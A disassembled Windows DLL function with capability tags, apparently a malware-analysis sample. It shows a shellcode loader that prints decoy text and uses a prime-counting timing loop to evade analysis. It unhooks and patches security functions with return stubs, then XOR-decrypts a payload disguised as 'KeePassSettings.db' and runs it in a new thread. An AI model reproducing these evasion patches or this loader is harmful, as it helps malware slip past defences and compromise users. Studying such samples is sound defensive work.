Function at 0x1800023d0
Capabilities:
Create thread
Encode data using xor
Parse pe header
Print debug messages
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x510
mov rax, qword [0x180030040]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov ebx, ecx
xor r12d, r12d
call fcn.180001390
cmp dword [0x180031e90], r12d
je 0x180002418
xor eax, eax
jmp 0x180002da7
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x180001070]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180002462
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.CreateThread__thread_1__failed_with_error_code__lu_n
lea rcx, [rsp + 0x100]
call fcn.180003040
lea rcx, [rsp + 0x100]
jmp 0x180002469
lea rcx, str.Thread_1_created_successfully._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.Grammarlys_primary_function_is_to_identify_and_correct_grammatical_errors_and_spelling_mistakes._Its_sophisticated_algorithms_can_detect_issues_that_traditional_spell_checkers_often_miss__such_as_contextual_spelling_errors_and_nuanced_grammatical_mistakes.
call fcn.180001110
lea rcx, [rsp + 0x100]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180002490
test rax, rax
je 0x1800024b7
cmp byte [rsp + rax + 0xff], 0xa
jne 0x1800024b7
dec rax
cmp rax, 0x400
jae 0x180002dd5
test ebx, ebx
jne 0x1800025e0
lea rcx, str.Microsoft_Edge_is_a_web_browser_developed_by_Microsoft__initially_released_in_2015_as_a_replacement_for_Internet_Explorer._Built_on_the_Chromium_engine_since_2020__Edge_offers_improved_speed__security__and_compatibility_with_modern_web_standards.
call fcn.180001110
lea rcx, str.Microsoft_Edge_is_a_web_browser_developed_by_Microsoft__initially_released_in_2015_as_a_replacement_for_Internet_Explorer._Built_on_the_Chromium_engine_since_2020__Edge_offers_improved_speed__security__and_compatibility_with_modern_web_standards.
call fcn.180001110
lea rcx, str.It_features_a_sleek__user_friendly_interface_and_integrates_seamlessly_with_Windows_10_and_11__providing_a_cohesive_user_experience._Edge_includes_innovative_tools_such_as_vertical_tabs__a_built_in_PDF_reader__and_enhanced_privacy_settings__catering_to_both_casual_users_and_professionals.
call fcn.180001110
lea rcx, str.Its_performance__combined_with_robust_security_features_like_tracking_prevention_and_InPrivate_browsing__positions_Microsoft_Edge_as_a_strong_competitor_in_the_web_browser_market.
call fcn.180001110
lea rcx, str.Windows_is_a_widely_used_operating_system_developed_by_Microsoft__known_for_its_user_friendly_interface_and_extensive_compatibility_with_various_hardware_and_software_applications._Since_its_initial_release_in_1985.
call fcn.180001110
lea rcx, str.Windows_has_evolved_through_numerous_versions__each_introducing_significant_enhancements_in_performance__security__and_usability._The_operating_system_is_characterized_by_its_graphical_user_interface__which_allows_users_to_interact_with_the_system_using_windows__icons__and_menus._Windows_supports_a_broad_range_of_functionalities__from_basic_computing_tasks_to_advanced_enterprise_solutions__making_it_suitable_for_both_personal_and_professional_use.
call fcn.180001110
lea rcx, [rsp + 0x38]
call fcn.180001f30
mov r10d, r12d
mov r9d, 0x5f5e0ff
nop word [rax + rax]
cmp r9d, 1
jle 0x18000257d
cmp r9d, 3
jle 0x18000257a
test r9b, 1
je 0x18000257d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
je 0x18000257d
mov ecx, 5
cmp r9d, 0x19
jl 0x18000257a
mov eax, r9d
cdq
idiv ecx
test edx, edx
je 0x18000257d
lea r8d, [rcx + 2]
mov eax, r9d
cdq
idiv r8d
test edx, edx
je 0x18000257d
add ecx, 6
mov eax, ecx
imul eax, ecx
cmp eax, r9d
jle 0x180002554
inc r10d
inc r9d
cmp r10d, 0xf423f
jl 0x180002520
mov edx, r9d
lea rcx, str.last_prime:__d_n
call fcn.180001110
lea rcx, [rsp + 0x40]
call fcn.180001f30
mov rcx, qword [rsp + 0x40]
sub rcx, qword [rsp + 0x38]
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov r9, rdx
shr r9, 0x3f
add r9, rdx
lea r8, str.time_elapsed__d
mov edx, 0x64
lea rcx, [rsp + 0x90]
call fcn.180001170
lea rcx, str.Microsoft_Edge_is_a_web_browser_developed_by_Microsoft__initially_released_in_2015_as_a_replacement_for_Internet_Explorer._Built_on_the_Chromium_engine_since_2020__Edge_offers_improved_speed__security__and_compatibility_with_modern_web_standards.
call fcn.180001110
lea rcx, str.Microsoft_Edge_is_a_web_browser_developed_by_Microsoft__initially_released_in_2015_as_a_replacement_for_Internet_Explorer._Built_on_the_Chromium_engine_since_2020__Edge_offers_improved_speed__security__and_compatibility_with_modern_web_standards.
call fcn.180001110
lea rcx, str.It_features_a_sleek__user_friendly_interface_and_integrates_seamlessly_with_Windows_10_and_11__providing_a_cohesive_user_experience._Edge_includes_innovative_tools_such_as_vertical_tabs__a_built_in_PDF_reader__and_enhanced_privacy_settings__catering_to_both_casual_users_and_professionals.
call fcn.180001110
lea rcx, str.Its_performance__combined_with_robust_security_features_like_tracking_prevention_and_InPrivate_browsing__positions_Microsoft_Edge_as_a_strong_competitor_in_the_web_browser_market.
call fcn.180001110
lea rcx, str.Windows_is_a_widely_used_operating_system_developed_by_Microsoft__known_for_its_user_friendly_interface_and_extensive_compatibility_with_various_hardware_and_software_applications._Since_its_initial_release_in_1985.
call fcn.180001110
lea rcx, str.Windows_has_evolved_through_numerous_versions__each_introducing_significant_enhancements_in_performance__security__and_usability._The_operating_system_is_characterized_by_its_graphical_user_interface__which_allows_users_to_interact_with_the_system_using_windows__icons__and_menus._Windows_supports_a_broad_range_of_functionalities__from_basic_computing_tasks_to_advanced_enterprise_solutions__making_it_suitable_for_both_personal_and_professional_use.
call fcn.180001110
mov edx, 0x9ff9892b
mov rcx, qword [0x180032038]
call fcn.180001bf0
mov edx, dword [0x18002b2b8]
movzx ecx, byte [0x18002b2bc]
mov byte [rsp + 0x34], cl
cmp dword [rax], edx
je 0x1800026e0
lea rcx, str.___hooked.._trying_to_unhook_n
call fcn.180001110
movsx r8d, byte [0x180030b65]
movd xmm2, r8d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
mov eax, r12d
lea r9, [0x180030b48]
mov rcx, r9
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
add eax, 0x10
lea rcx, [rcx + 0x10]
movsxd rdx, eax
cmp rdx, 0x10
jb 0x180002690
cmp rdx, 0x1e
jae 0x1800026ce
lea rcx, [rdx + r9]
nop dword [rax]
xor byte [rcx], r8b
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x1e
jb 0x1800026c0
mov ecx, 0xab6684a0
call fcn.180001af0
mov rcx, rax
call fcn.180002010
lea rcx, [0x180030ad8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov r11, qword [0x180032038]
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x180002777
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x180002777
mov eax, dword [rax + r11 + 0x88]
add rax, r11
mov edi, dword [rax + 0x1c]
add rdi, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov esi, dword [rax + 0x24]
add rsi, r11
mov r10d, r12d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x180002777
lea r14, str._a65_a4_6
nop dword [rax]
mov eax, dword [r9]
add rax, r11
mov r8, r14
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002763
inc rax
test ecx, ecx
jne 0x180002750
test edx, edx
je 0x180002a41
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x180002740
mov rax, r12
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 5
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
mov rax, qword [rsp + 0x38]
mov dword [rax], 0xc3c03348
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 0x1000
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, 0xa703920c
call fcn.180001af0
mov rbx, rax
test rax, rax
jne 0x180002856
lea rcx, str.gkuo_bjj
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov edx, 0xdba23205
mov rcx, rbx
call fcn.180001bf0
test rax, rax
je 0x18000291f
mov edx, 0xdba23205
mov rcx, rbx
call fcn.180001bf0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0x1000
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x70057b8
mov word [rax + 4], 0xc380
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
mov ecx, 0xa703920c
call fcn.180001af0
test rax, rax
jne 0x18000293b
lea rcx, str.gkuo_bjj
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0xcb5585fc
mov rcx, rax
call fcn.180001bf0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 3
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
mov rax, qword [rsp + 0x38]
mov word [rax], 0x3148
mov byte [rax + 2], 0xc0
lea r8, [0x180030ad8]
call fcn.180001cb0
mov rdx, qword [0x180032048]
mov ecx, dword [0x180031e88]
call fcn.180003720
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.180003743
lea rcx, str.___Getting_ready_n
call fcn.180001110
lea rcx, [rsp + 0x70]
call fcn.1800015c0
nop
mov rsi, qword [rsp + 0x80]
test rsi, rsi
jne 0x180002a25
lea r8d, [rsi + 1]
lea rcx, [rsp + 0x70]
call fcn.180002ed0
mov rsi, qword [rsp + 0x80]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x13
jb 0x180002ddb
jmp 0x180002a53
mov eax, r10d
movzx ecx, word [rsi + rax*2]
mov eax, dword [rdi + rcx*4]
add rax, r11
jmp 0x18000277a
lea r15, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova r15, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea r14, [rsi + 0x13]
mov ebx, InitCommonControls
lea rdi, [rsp + 0x50]
cmp r14, rbx
jbe 0x180002b07
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x180002ac8
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800037c4
test rax, rax
je 0x180002de5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180002b02
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180002af0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180002de0
jmp 0x180002aa9
test rcx, rcx
je 0x180002aff
call fcn.1800037c4
mov rdi, rax
jmp 0x180002b02
mov rdi, r12
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call fcn.180020580
movups xmm0, xmmword [str.KeePassSettings.db]
movups xmmword [rdi + rsi], xmm0
movzx eax, word [0x18002ba30]
mov word [rdi + rsi + 0x10], ax
movzx eax, byte [0x18002ba32]
mov byte [rdi + rsi + 0x12], al
mov byte [rdi + r14], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea r8, [0x18002b214]
lea rcx, [rsp + 0x30]
call fcn.18000f92c
test eax, eax
je 0x180002b7d
lea rcx, str.Error_opening_file
call fcn.18000fac0
jmp 0x180002d18
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, qword [rsp + 0x30]
call fcn.18000fdbc
test eax, eax
je 0x180002bac
lea rcx, str.Error_seeking_to_end_of_file
call fcn.18000fac0
mov rcx, qword [rsp + 0x30]
call fcn.18000ff7c
jmp 0x180002d18
mov rcx, qword [rsp + 0x30]
call fcn.180010534
movsxd rbx, eax
cmp ebx, 0xffffffff
jne 0x180002bd9
lea rcx, str.Error_getting_file_size
call fcn.18000fac0
mov rcx, qword [rsp + 0x30]
call fcn.18000ff7c
jmp 0x180002d18
mov rcx, qword [rsp + 0x30]
call fcn.1800106b8
mov rcx, rbx
call fcn.180010744
mov rdi, rax
test rax, rax
jne 0x180002c0e
lea rcx, str.Error_allocating_memory
call fcn.18000fac0
mov rcx, qword [rsp + 0x30]
call fcn.18000ff7c
jmp 0x180002d18
mov r9, qword [rsp + 0x30]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call fcn.1800109ac
cmp rax, rbx
je 0x180002c4b
lea rcx, str.Error_reading_file
call fcn.18000fac0
mov rcx, rdi
call fcn.18000f440
mov rcx, qword [rsp + 0x30]
call fcn.18000ff7c
jmp 0x180002d18
mov rcx, qword [rsp + 0x30]
call fcn.18000ff7c
mov rcx, rbx
call fcn.180003800
mov r10, rax
mov r9, r12
test rbx, rbx
je 0x180002cab
sub rdi, rax
movabs r11, 0xcccccccccccccccd
lea rsi, str.PchND
nop dword [rax]
lea r8, [r9 + r10]
mov rax, r11
mul r9
shr rdx, 2
lea rax, [rdx + rdx*4]
mov rcx, r9
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rdi + r8]
mov byte [r8], al
inc r9
cmp r9, rbx
jb 0x180002c80
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
lea r9, [rsp + 0x40]
lea r8, [0x180002200]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180002d01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.CreateThread__thread_2__failed_with_error_code__lu_n
lea rcx, [rsp + 0x100]
call fcn.180003040
lea rcx, [rsp + 0x100]
jmp 0x180002d08
lea rcx, str.Thread_2_created_successfully._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [0x180031e90], 1
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180002d55
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002deb
call fcn.180003790
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], InitCommonControls
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x180002da5
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002df1
call fcn.180003790
nop
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.180003770
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.180003910
nop
call fcn.180001370
call fcn.1800012d0
call fcn.18000f7f8
int3
call fcn.18000f7f8
nop
call fcn.18000f7f8
int3